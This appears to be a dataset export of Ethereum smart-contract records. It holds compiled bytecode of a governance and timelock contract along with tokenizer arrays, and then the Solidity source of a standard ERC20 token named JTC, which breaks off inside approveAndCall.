565b60603330146106bd5760405162461bcd60e51b81526004016106b490613938565b60405180910390fd5b600086868686866040516020016106d89594939291906137c3565b60408051601f1981840301815291815281516020928301206000818152600790935291205490915060ff1661071f5760405162461bcd60e51b81526004016106b490613a48565b82610728611e1c565b10156107465760405162461bcd60e51b81526004016106b4906139c8565b610759836212750063ffffffff611e2016565b610761611e1c565b111561077f5760405162461bcd60e51b81526004016106b490613988565b6000818152600760205260409020805460ff1916905584516060906107a55750836107d1565b8580519060200120856040516020016107bf9291906136f6565b60405160208183030381529060405290505b60006060896001600160a01b031689846040516107ee9190613712565b60006040518083038185875af1925050503d806000811461082b576040519150601f19603f3d011682016040523d82523d6000602084013e610830565b606091505b5091509150816108525760405162461bcd60e51b81526004016106b490613aa8565b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b6040516108929493929190613c44565b60405180910390a393505050505b95945050505050565b6108b4338383611e4c565b5050565b60056020526000908152604090205481565b6040516108d69061374f565b604051809103902081565b600061098d612710610981600054600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561093d57600080fd5b505afa158015610951573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061097591908101906128b5565b9063ffffffff611ff616565b9063ffffffff61203016565b905090565b60608060608060006004600087815260200190815260200160002090508060030181600401826005018360060183805480602002602001604051908101604052809291908181526020018280548015610a1457602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116109f6575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610a6657602002820191906000526020600020905b815481526020019060010190808311610a52575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610b395760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610b255780601f10610afa57610100808354040283529160200191610b25565b820191906000526020600020905b815481529060010190602001808311610b0857829003601f168201915b505050505081526020019060010190610a8e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610c0b5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610bf75780601f10610bcc57610100808354040283529160200191610bf7565b820191906000526020600020905b815481529060010190602001808311610bda57829003601f168201915b505050505081526020019060010190610b60565b5050505090509450945094509450509193509193565b600190565b6000333014610c475760405162461bcd60e51b81526004016106b490613a78565b610c61600654610c55611e1c565b9063ffffffff611e2016565b821015610c805760405162461bcd60e51b81526004016106b490613ac8565b60008686868686604051602001610c9b9594939291906137c3565b60408051601f19818403018152828252805160209182012060008181526007909252919020805460ff1916600117905591506001600160a01b0388169082907f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f90610d0d908a908a908a908a90613c44565b60405180910390a39695505050505050565b60008160035410158015610d335750600082115b610d4f5760405162461bcd60e51b81526004016106b490613ab8565b6000828152600460205260409020600b81015460ff1615610d74576002915050610e2b565b80600701544311610d89576000915050610e2b565b80600801544311610d9e576001915050610e2b565b80600a01548160090154111580610dbf5750610db86108e1565b8160090154105b15610dce576003915050610e2b565b6002810154610de1576004915050610e2b565b600b810154610100900460ff1615610dfd576007915050610e2b565b6002810154610e15906212750063ffffffff611e2016565b4210610e25576006915050610e2b565b60059150505b919050565b6000610e3b82610d1f565b90506007816007811115610e4b57fe5b1415610e695760405162461bcd60e51b81526004016106b4906139e8565b6000828152600460205260409020610e7f6113c3565b6002546001838101546001600160a01b039283169263782d6fe192911690610eae90439063ffffffff61207216565b6040518363ffffffff1660e01b8152600401610ecb929190613780565b60206040518083038186803b158015610ee357600080fd5b505afa158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f1b91908101906128b5565b10610f385760405162461bcd60e51b81526004016106b490613a88565b600b8101805460ff1916600117905560005b60038201548110156110f1576110e9826003018281548110610f6857fe5b6000918252602090912001546004840180546001600160a01b039092169184908110610f9057fe5b9060005260206000200154846005018481548110610faa57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b505050505085600601858154811061104c57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156110da5780601f106110af576101008083540402835291602001916110da565b820191906000526020600020905b8154815290600101906020018083116110bd57829003601f168201915b505050505086600201546112b8565b600101610f4a565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c836040516111219190613878565b60405180910390a1505050565b600060405161113c9061374f565b60408051918290038220828201909152600a825269476f7665726e616e636560b01b6020909201919091527f9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d6111906120b4565b306040516020016111a49493929190613886565b60405160208183030381529060405280519060200120905060006040516111ca9061375a565b6040519081900381206111e391899089906020016138bb565b6040516020818303038152906040528051906020012090506000828260405160200161121092919061371e565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161124d94939291906138e3565b6020604051602081039080840390855afa15801561126f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166112a25760405162461bcd60e51b81526004016106b490613a08565b6112ad818a8a611e4c565b505050505050505050565b3330146112d75760405162461bcd60e51b81526004016106b490613958565b600085858585856040516020016112f29594939291906137c3565b60408051601f19818403018152828252805160209182012060008181526007909252919020805460ff1916905591506001600160a01b0387169082907f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8790611361908990899089908990613c44565b60405180910390a3505050505050565b60065481565b60015481565b600a90565b62278d0081565b6002546001600160a01b031681565b3330146113b75760405162461bcd60e51b81526004016106b490613af8565b600155565b6201518081565b600061098d612710610981600154600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561093d57600080fd5b60005481565b6212750081565b33301461144b5760405162461bcd60e51b81526004016106b490613af8565b600055565b60035481565b60006114606113c3565b6002546001600160a01b031663782d6fe13361148343600163ffffffff61207216565b6040518363ffffffff1660e01b81526004016114a0929190613765565b60206040518083038186803b1580156114b857600080fd5b505afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506114f091908101906128b5565b1161150d5760405162461bcd60e51b81526004016106b490613998565b8451865114801561151f575083518651145b801561152c575082518651145b6115485760405162461bcd60e51b81526004016106b490613968565b85516115665760405162461bcd60e51b81526004016106b4906139b8565b61156e61137d565b8651111561158e5760405162461bcd60e51b81526004016106b490613a98565b33600090815260056020526040902054801561160b5760006115af82610d1f565b905060018160078111156115bf57fe5b14156115dd5760405162461bcd60e51b81526004016106b490613948565b60008160078111156115eb57fe5b14156116095760405162461bcd60e51b81526004016106b490613a58565b505b6000611625611618610c21565b439063ffffffff611e2016565b90506000611641611634610666565b839063ffffffff611e2016565b6003805460010190559050611654612193565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611737929190612208565b506080820151805161175391600484019160209091019061226d565b5060a0820151805161176f9160058401916020909101906122b4565b5060c0820151805161178b91600684019160209091019061230d565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161187199989796959493929190613b16565b60405180910390a1519998505050505050505050565b600461189282610d1f565b600781111561189d57fe5b146118ba5760405162461bcd60e51b81526004016106b4906139f8565b60008181526004602052604081206006549091906118df90429063ffffffff611e2016565b905060005b6003830154811015611a8757611a7f83600301828154811061190257fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061192a57fe5b906000526020600020015485600501848154811061194457fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156119d25780601f106119a7576101008083540402835291602001916119d2565b820191906000526020600020905b8154815290600101906020018083116119b557829003601f168201915b50505050508660060185815481106119e657fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611a745780601f10611a4957610100808354040283529160200191611a74565b820191906000526020600020905b815481529060010190602001808311611a5757829003601f168201915b5050505050866120b8565b6001016118e4565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892906111219085908490613c87565b6040516108d69061375a565b333014611aec5760405162461bcd60e51b81526004016106b490613ae8565b62015180811015611b0f5760405162461bcd60e51b81526004016106b4906139d8565b62278d00811115611b325760405162461bcd60e51b81526004016106b490613a28565b600681905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b611b6d612366565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b61271081565b60076020526000908152604090205460ff1681565b6005611bef82610d1f565b6007811115611bfa57fe5b14611c175760405162461bcd60e51b81526004016106b490613ad8565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611de057611dd7826003018281548110611c5657fe5b6000918252602090912001546004840180546001600160a01b039092169184908110611c7e57fe5b9060005260206000200154846005018481548110611c9857fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611d265780601f10611cfb57610100808354040283529160200191611d26565b820191906000526020600020905b815481529060010190602001808311611d0957829003601f168201915b5050505050856006018581548110611d3a57fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611dc85780601f10611d9d57610100808354040283529160200191611dc8565b820191906000526020600020905b815481529060010190602001808311611dab57829003601f168201915b50505050508660020154610693565b50600101611c38565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611e109190613878565b60405180910390a15050565b4290565b600082820183811015611e455760405162461bcd60e51b81526004016106b4906139a8565b9392505050565b6001611e5783610d1f565b6007811115611e6257fe5b14611e7f5760405162461bcd60e51b81526004016106b490613978565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611ec85760405162461bcd60e51b81526004016106b490613a38565b600254600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611efe918a91600401613780565b60206040518083038186803b158015611f1657600080fd5b505afa158015611f2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611f4e91908101906128b5565b90508315611f75576009830154611f6b908263ffffffff611e2016565b6009840155611f90565b600a830154611f8a908263ffffffff611e2016565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611fe690889088908890869061378e565b60405180910390a1505050505050565b60008261200557506000611bc3565b8282028284828161201257fe5b0414611e455760405162461bcd60e51b81526004016106b490613a68565b6000611e4583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612130565b6000611e4583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f7700815250612167565b4690565b6007600086868686866040516020016120d59594939291906137c3565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff161561211b5760405162461bcd60e51b81526004016106b490613a18565b6121288585858585610c26565b505050505050565b600081836121515760405162461bcd60e51b81526004016106b4919061390b565b50600083858161215d57fe5b0495945050505050565b6000818484111561218b5760405162461bcd60e51b81526004016106b4919061390b565b505050900390565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b82805482825590600052602060002090810192821561225d579160200282015b8281111561225d57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612228565b50612269929150612386565b5090565b8280548282559060005260206000209081019282156122a8579160200282015b828111156122a857825182559160200191906001019061228d565b506122699291506123aa565b828054828255906000526020600020908101928215612301579160200282015b8281111561230157825180516122f19184916020909101906123c4565b50916020019190600101906122d4565b50612269929150612431565b82805482825590600052602060002090810192821561235a579160200282015b8281111561235a578251805161234a9184916020909101906123c4565b509160200191906001019061232d565b50612269929150612454565b604080516060810182526000808252602082018190529181019190915290565b61066a91905b808211156122695780546001600160a01b031916815560010161238c565b61066a91905b8082111561226957600081556001016123b0565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061240557805160ff19168380011785556122a8565b828001600101855582156122a857918201828111156122a857825182559160200191906001019061228d565b61066a91905b8082111561226957600061244b8282612477565b50600101612437565b61066a91905b8082111561226957600061246e8282612477565b5060010161245a565b50805460018160011615610100020316600290046000825580601f1061249d57506124bb565b601f0160209004906000526020600020908101906124bb91906123aa565b50565b8035611bc381613dba565b600082601f8301126124da57600080fd5b81356124ed6124e882613cbc565b613c95565b9150818183526020840193506020810190508385602084028201111561251257600080fd5b60005b8381101561253e578161252888826124be565b8452506020928301929190910190600101612515565b5050505092915050565b600082601f83011261255957600080fd5b81356125676124e882613cbc565b81815260209384019390925082018360005b8381101561253e578135860161258f8882612688565b8452506020928301929190910190600101612579565b600082601f8301126125b657600080fd5b81356125c46124e882613cbc565b81815260209384019390925082018360005b8381101561253e57813586016125ec8882612688565b84525060209283019291909101906001016125d6565b600082601f83011261261357600080fd5b81356126216124e882613cbc565b9150818183526020840193506020810190508385602084028201111561264657600080fd5b60005b8381101561253e578161265c888261267d565b8452506020928301929190910190600101612649565b8035611bc381613dce565b8035611bc381613dd7565b600082601f83011261269957600080fd5b81356126a76124e882613cdd565b915080825260208301602083018583830111156126c357600080fd5b6126ce838284613d6e565b50505092915050565b8051611bc381613dd7565b8035611bc381613de0565b6000602082840312156126ff57600080fd5b600061270b84846124be565b949350505050565b600080600080600060a0868803121561272b57600080fd5b600061273788886124be565b95505060206127488882890161267d565b945050604086013567ffffffffffffffff81111561276557600080fd5b61277188828901612688565b935050606086013567ffffffffffffffff81111561278e57600080fd5b61279a88828901612688565b92505060806127ab8882890161267d565b9150509295509295909350565b600080600080600060a086880312156127d057600080fd5b853567ffffffffffffffff8111156127e757600080fd5b6127f3888289016124c9565b955050602086013567ffffffffffffffff81111561281057600080fd5b61281c88828901612602565b945050604086013567ffffffffffffffff81111561283957600080fd5b612845888289016125a5565b935050606086013567ffffffffffffffff81111561286257600080fd5b61286e88828901612548565b925050608086013567ffffffffffffffff81111561288b57600080fd5b6127ab88828901612688565b6000602082840312156128a957600080fd5b600061270b848461267d565b6000602082840312156128c757600080fd5b600061270b84846126d7565b600080604083850312156128e657600080fd5b60006128f2858561267d565b9250506020612903858286016124be565b9150509250929050565b6000806040838503121561292057600080fd5b600061292c858561267d565b925050602061290385828601612672565b600080600080600060a0868803121561295557600080fd5b6000612961888861267d565b955050602061297288828901612672565b9450506040612983888289016126e2565b935050606061279a8882890161267d565b60006129a083836129cf565b505060200190565b6000611e458383612b7d565b60006129a08383612b57565b6129c981613d51565b82525050565b6129c981613d18565b60006129e382613d0b565b6129ed8185613d0f565b93506129f883613d05565b8060005b83811015612a26578151612a108882612994565b9750612a1b83613d05565b9250506001016129fc565b509495945050505050565b6000612a3c82613d0b565b612a468185613d0f565b935083602082028501612a5885613d05565b8060005b85811015612a925784840389528151612a7585826129a8565b9450612a8083613d05565b60209a909a0199925050600101612a5c565b5091979650505050505050565b6000612aaa82613d0b565b612ab48185613d0f565b935083602082028501612ac685613d05565b8060005b85811015612a925784840389528151612ae385826129a8565b9450612aee83613d05565b60209a909a0199925050600101612aca565b6000612b0b82613d0b565b612b158185613d0f565b9350612b2083613d05565b8060005b83811015612a26578151612b3888826129b4565b9750612b4383613d05565b925050600101612b24565b6129c981613d23565b6129c98161066a565b6129c9612b6c8261066a565b61066a565b6129c9612b6c82613d28565b6000612b8882613d0b565b612b928185613d0f565b9350612ba2818560208601613d7a565b612bab81613da6565b9093019392505050565b6000612bc082613d0b565b612bca8185610e2b565b9350612bda818560208601613d7a565b9290920192915050565b6129c981613d58565b6129c981613d63565b6000612c03603883613d0f565b7f54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a20436181527f6c6c206d75737420636f6d652066726f6d2061646d696e2e0000000000000000602082015260400192915050565b6000612c62605583613d0f565b7f476f7665726e616e63653a3a70726f706f73653a206f6e65206c69766520707281527f6f706f73616c207065722070726f706f7365722c20666f756e6420616e20616c6020820152741c9958591e481858dd1a5d99481c1c9bdc1bdcd85b605a1b604082015260600192915050565b6000612cdf603783613d0f565b7f54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c81527f6c206d75737420636f6d652066726f6d2061646d696e2e000000000000000000602082015260400192915050565b6000612d3e604183613d0f565b7f476f7665726e616e63653a3a70726f706f73653a2070726f706f73616c20667581527f6e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6174636020820152600d60fb1b604082015260600192915050565b6000612da7602783613d0f565b7f476f7665726e616e63653a3a5f63617374566f74653a20766f74696e672069738152660818db1bdcd95960ca1b602082015260400192915050565b6000612df0603383613d0f565b600080516020613dea83398151915281527230b739b0b1ba34b7b71034b99039ba30b6329760691b602082015260400192915050565b6000612e33603c83613d0f565b7f476f7665726e616e63653a3a70726f706f73653a2070726f706f73657220766f81527f7465732062656c6f772070726f706f73616c207468726573686f6c6400000000602082015260400192915050565b6000612e92600283610e2b565b61190160f01b815260020192915050565b6000612eb0601b83613d0f565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000612ee9602983613d0f565b7f476f7665726e616e63653a3a70726f706f73653a206d7573742070726f7669648152686520616374696f6e7360b81b602082015260400192915050565b6000612f34604583613d0f565b600080516020613dea83398151915281527f616e73616374696f6e206861736e2774207375727061737365642074696d65206020820152643637b1b59760d91b604082015260600192915050565b6000612f8f603483613d0f565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420658152733c31b2b2b21036b4b734b6bab6903232b630bc9760611b602082015260400192915050565b6000612fe5603383613d0f565b7f476f7665726e616e63653a3a63616e63656c3a2063616e6e6f742063616e63658152721b08195e1958dd5d1959081c1c9bdc1bdcd85b606a1b602082015260400192915050565b600061303a604183613d0f565b7f476f7665726e616e63653a3a71756575653a2070726f706f73616c2063616e2081527f6f6e6c79206265207175657565642069662069742069732073756363656564656020820152601960fa1b604082015260600192915050565b60006130a3602c83613d0f565b7f476f7665726e616e63653a3a63617374566f746542795369673a20696e76616c81526b6964207369676e617475726560a01b602082015260400192915050565b60006130f1604183613d0f565b7f476f7665726e616e63653a3a5f71756575654f725265766572743a2070726f7081527f6f73616c20616374696f6e20616c7265616479207175657565642061742065746020820152606160f81b604082015260600192915050565b600061315a603883613d0f565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e81527f6f7420657863656564206d6178696d756d2064656c61792e0000000000000000602082015260400192915050565b60006131b9602a83613d0f565b7f476f7665726e616e63653a3a5f63617374566f74653a20766f74657220616c728152691958591e481d9bdd195960b21b602082015260400192915050565b6000613205603d83613d0f565b600080516020613dea83398151915281527f616e73616374696f6e206861736e2774206265656e207175657565642e000000602082015260400192915050565b6000613252605683613d0f565b7f476f7665726e616e63653a3a70726f706f73653a206f6e65206c69766520707281527f6f706f73616c207065722070726f706f7365722c20666f756e6420616e20616c6020820152751c9958591e481c195b991a5b99c81c1c9bdc1bdcd85b60521b604082015260600192915050565b60006132d0604383610e2b565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061333b602783610e2b565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000613384602183613d0f565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f8152607760f81b602082015260400192915050565b60006133c7603683613d0f565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c8152751036bab9ba1031b7b6b290333937b69030b236b4b71760511b602082015260400192915050565b600061341f602c83613d0f565b7f476f7665726e616e63653a3a63616e63656c3a2070726f706f7365722061626f81526b1d99481d1a1c995cda1bdb1960a21b602082015260400192915050565b600061346d602583613d0f565b7f476f7665726e616e63653a3a70726f706f73653a20746f6f206d616e7920616381526474696f6e7360d81b602082015260400192915050565b60006134b4603d83613d0f565b600080516020613dea83398151915281527f616e73616374696f6e20657865637574696f6e2072657665727465642e000000602082015260400192915050565b6000613501602683613d0f565b7f476f7665726e616e63653a3a73746174653a20696e76616c69642070726f706f8152651cd85b081a5960d21b602082015260400192915050565b6000613549604983613d0f565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a204573746981527f6d6174656420657865637574696f6e20626c6f636b206d757374207361746973602082015268333c903232b630bc9760b91b604082015260600192915050565b60006135ba604283613d0f565b7f476f7665726e616e63653a3a657865637574653a2070726f706f73616c20636181527f6e206f6e6c792062652065786563757465642069662069742069732071756575602082015261195960f21b604082015260600192915050565b6000613624603183613d0f565b7f54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f81527036b290333937b6902a34b6b2b637b1b59760791b602082015260400192915050565b6000613677602483613d0f565b7f476f7665726e616e63653a3a73657451756f72756d3a2074696d656c6f636b208152636f6e6c7960e01b602082015260400192915050565b805160608301906136c18482612b4e565b5060208201516136d46020850182612b4e565b5060408201516136e76040850182612b57565b50505050565b6129c981613d4b565b60006137028285612b71565b60048201915061270b8284612bb5565b6000611e458284612bb5565b600061372982612e85565b91506137358285612b60565b6020820191506137458284612b60565b5060200192915050565b6000611bc3826132c3565b6000611bc38261332e565b6040810161377382856129c0565b611e456020830184612b57565b6040810161377382856129cf565b6080810161379c82876129cf565b6137a96020830186612b57565b6137b66040830185612b4e565b6108a06060830184612b57565b60a081016137d182886129cf565b6137de6020830187612b57565b81810360408301526137f08186612b7d565b905081810360608301526138048185612b7d565b90506138136080830184612b57565b9695505050505050565b6080808252810161382e81876129d8565b905081810360208301526138428186612b00565b905081810360408301526138568185612a9f565b905081810360608301526138138184612a31565b60208101611bc38284612b4e565b60208101611bc38284612b57565b608081016138948287612b57565b6138a16020830186612b57565b6138ae6040830185612b57565b6108a060608301846129cf565b606081016138c98286612b57565b6138d66020830185612b57565b61270b6040830184612b4e565b608081016138f18287612b57565b6138fe60208301866136ed565b6137b66040830185612b57565b60208082528101611e458184612b7d565b60208101611bc38284612be4565b60208101611bc38284612bed565b60208082528101611bc381612bf6565b60208082528101611bc381612c55565b60208082528101611bc381612cd2565b60208082528101611bc381612d31565b60208082528101611bc381612d9a565b60208082528101611bc381612de3565b60208082528101611bc381612e26565b60208082528101611bc381612ea3565b60208082528101611bc381612edc565b60208082528101611bc381612f27565b60208082528101611bc381612f82565b60208082528101611bc381612fd8565b60208082528101611bc38161302d565b60208082528101611bc381613096565b60208082528101611bc3816130e4565b60208082528101611bc38161314d565b60208082528101611bc3816131ac565b60208082528101611bc3816131f8565b60208082528101611bc381613245565b60208082528101611bc381613377565b60208082528101611bc3816133ba565b60208082528101611bc381613412565b60208082528101611bc381613460565b60208082528101611bc3816134a7565b60208082528101611bc3816134f4565b60208082528101611bc38161353c565b60208082528101611bc3816135ad565b60208082528101611bc381613617565b60208082528101611bc38161366a565b60608101611bc382846136b0565b6101208101613b25828c612b57565b613b32602083018b6129c0565b8181036040830152613b44818a6129d8565b90508181036060830152613b588189612b00565b90508181036080830152613b6c8188612a9f565b905081810360a0830152613b808187612a31565b9050613b8f60c0830186612b57565b613b9c60e0830185612b57565b818103610100830152613baf8184612b7d565b9b9a5050505050505050505050565b6101208101613bcd828c612b57565b613bda602083018b6129cf565b613be7604083018a612b57565b613bf46060830189612b57565b613c016080830188612b57565b613c0e60a0830187612b57565b613c1b60c0830186612b57565b613c2860e0830185612b4e565b613c36610100830184612b4e565b9a9950505050505050505050565b60808101613c528287612b57565b8181036020830152613c648186612b7d565b90508181036040830152613c788185612b7d565b90506108a06060830184612b57565b604081016137738285612b57565b60405181810167ffffffffffffffff81118282101715613cb457600080fd5b604052919050565b600067ffffffffffffffff821115613cd357600080fd5b5060209081020190565b600067ffffffffffffffff821115613cf457600080fd5b506020601f91909101601f19160190565b60200190565b5190565b90815260200190565b6000611bc382613d3f565b151590565b6001600160e01b03191690565b80610e2b81613db0565b6001600160a01b031690565b60ff1690565b6000611bc3825b6000611bc382613d18565b6000611bc382613d35565b82818337506000910152565b60005b83811015613d95578181015183820152602001613d7d565b838111156136e75750506000910152565b601f01601f191690565b600881106124bb57fe5b613dc381613d18565b81146124bb57600080fd5b613dc381613d23565b613dc38161066a565b613dc381613d4b56fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472a365627a7a72315820b1654c6bea34c25700b5f1cd3583ea0a48e59153fbca53662a945e5a34fad5b36c6578706572696d656e74616cf564736f6c63430005110040a365627a7a723158207a9809f2c70ada617fd54343efa36dbe7f115ed2a7cd531019e8fe9cbad66a726c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2620,
21486,
2692,
2475,
2050,
2683,
2629,
2546,
2620,
2549,
2546,
2094,
2581,
26337,
2509,
3676,
2692,
4402,
2629,
2278,
2629,
2050,
2620,
2546,
16048,
2063,
2620,
2475,
2278,
2692,
17788,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
1008,
1047,
2361,
2475,
2099,
1012,
2897,
1008,
1037,
3115,
7375,
1997,
1047,
2361,
2509,
2099,
2615,
2487,
8778,
1008,
23569,
27605,
5422,
4830,
9397,
1008,
26743,
8553,
1008,
4550,
1004,
7718,
3642,
1008,
1013,
1013,
1008,
2023,
3206,
2003,
3024,
1000,
2004,
2003,
1000,
1998,
1000,
2007,
2035,
19399,
1012,
1000,
1996,
21296,
2121,
3084,
2053,
15066,
2030,
10943,
3111,
1997,
2151,
2785,
7175,
1996,
3808,
1010,
4848,
8010,
1010,
3768,
1997,
20397,
1010,
27118,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,442 | 0x952869267fa406d528fc503549a9d867810d5ef5 | pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract JTC {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function JTC(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
